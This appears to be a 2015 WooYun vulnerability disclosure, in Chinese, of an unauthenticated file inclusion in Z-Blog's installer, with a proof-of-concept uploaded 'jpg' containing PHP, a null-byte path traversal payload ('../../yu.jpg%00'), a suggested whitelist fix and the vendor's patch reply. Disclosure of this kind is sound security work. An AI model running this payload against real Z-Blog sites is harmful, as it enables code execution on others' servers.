当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098417

漏洞标题:Z-blog前台无需登录包含漏洞一枚

相关厂商:Z-Blog

漏洞作者: ′雨。

提交时间:2015-02-27 14:59

修复时间:2015-06-02 15:00

公开时间:2015-06-02 15:00

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-27: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-04-28: 细节向核心白帽子及相关领域专家公开
2015-05-08: 细节向普通白帽子公开
2015-05-18: 细节向实习白帽子公开
2015-06-02: 细节向公众公开

简要描述:

听说这个是大厂商? -.-
前台无需登录包含漏洞, 大概翻了一下 没看到好像能上传图片的地方。
没细看。 就这样了把。

详细说明:

http://www.zblogcn.com/zblogphp/ 下载地址
问题出现在zb_install/index.php中
我还注意看了一下 安装完成后 是写的啥提示

安装结果
创建数据库!zblog
连接数据库并创建数据表!
创建并插入数据成功!
保存设置,编译模板成功!


提示的是这个 并没有提示用户要删除这个目录 而且也不会自动删除这个文件。
所以基本都是存在的。

<?php
/**
* Z-Blog with PHP
* @author
* @copyright (C) RainbowSoft Studio
* @version 2.0 2013-07-05
*/

/**
* 安装程序
* @param
* @return array
*/
require '../zb_system/function/c_system_base.php';
require '../zb_system/function/c_system_admin.php';
header('Content-type: text/html; charset=utf-8');
define('bingo','<span class="bingo"></span>');
define('error','<span class="error"></span>');
$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK'];
if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];
$zbp->LoadLanguage('system','',$zbloglang);
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
$zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];
$zblogstep=(int)GetVars('step');
if($zblogstep==0)$zblogstep=1;
if( ($zbp->option['ZC_DATABASE_TYPE']!=='') && ($zbp->option['ZC_YUN_SITE']=='') ){
$zblogstep=0;
}elseif( ($zbp->option['ZC_DATABASE_TYPE']) && ($zbp->option['ZC_YUN_SITE']) ){
if($zbp->Config('system')->CountItem()>0)$zblogstep=0;
}
?>


$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK'];
if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];
$zbp->LoadLanguage('system','',$zbloglang);
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
$zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];


其实漏洞就是出现在这里。

因为这段代码是出现在判断是否安装了之前, 所以 就算安装了 我们也可以走到这里。。


$zbloglang=&$zbp->option['ZC_BLOG_LANGUAGEPACK']; //首先定义zbloglang
if(isset($_POST['zbloglang']))$zbloglang=$_POST['zbloglang'];//如果设置了post的 就用post传递来的做这变量了。 因为zblog防止sql注入都是通过在查询函数的时候 不采用拼接 所以他们也没对post转义 这样是注入少了 但是也造成了这里的漏洞。
$zbp->LoadLanguage('system','',$zbloglang);//跟跟跟
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
$zbp->option['ZC_BLOG_LANGUAGE'] = $zbp->lang ['lang'];


public function LoadLanguage($type,$id,$default=''){
if($type=='system'){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn';
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en';
if(is_readable($f=$this->path . 'zb_users/language/' . $default . '.php')){
$this->lang = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}elseif($type=='plugin' || $type=='theme'){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn';
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en';
if(is_readable($f=$this->path . 'zb_users/'.$type.'/'.$id.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}elseif($type!='' && $id!=''){
if($default=='')$default=$this->option['ZC_BLOG_LANGUAGEPACK'];
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='zh-cn';
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
$default='en';
if(is_readable($f=$this->path . $type.'/language/' . $default . '.php')){
$this->lang[$id] = require($f);
$this->langpacklist[]=array($type,$id,$default);
return true;
}
}
}


看这函数就知道了 到处包含,虽然限制了必须为.php后缀的 但是因为没对POST转义 所以我们可以截断后面的.php咯。
大概找了一下 没找到能够上传图片的地方 这里我就自己新建一个jpg了把。 来测试测试就好。
新建一个 yu.jpg

<?php
fputs(fopen('testx.php','w'),'<?php phpinfo();?>');


$zbp->LoadLanguage('system','',$zbloglang);
$zbp->LoadLanguage('zb_install','zb_install',$zbloglang);
因为他这里load了两个 当满足第一个的时候第二个就不会满足 就会出错。
所以我们直接fputs一个文件就行。
在根目录下。

http://web/small/zblog/zb_install/index.php
zbloglang=../../yu.jpg%00

漏洞证明:

z1.jpg

修复方案:

这里应该对post来的zbloglang进行限制
in_array('en','zh' 之类的 限制只能包含那几个文件

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-02 15:00

厂商回复:

最新状态:

2015-03-09:非常感谢!确认晚了,着手处理中。

2015-03-09:非常抱歉,由于邮箱出现问题导致我们发现漏洞的时候已经晚了,进而平台自动忽略了本漏洞。近日将联系乌云对邮箱进行修改,非常感谢您的帮助!漏洞补丁已下发,详见http://blog.zblogcn.com/2015/03/09/79/。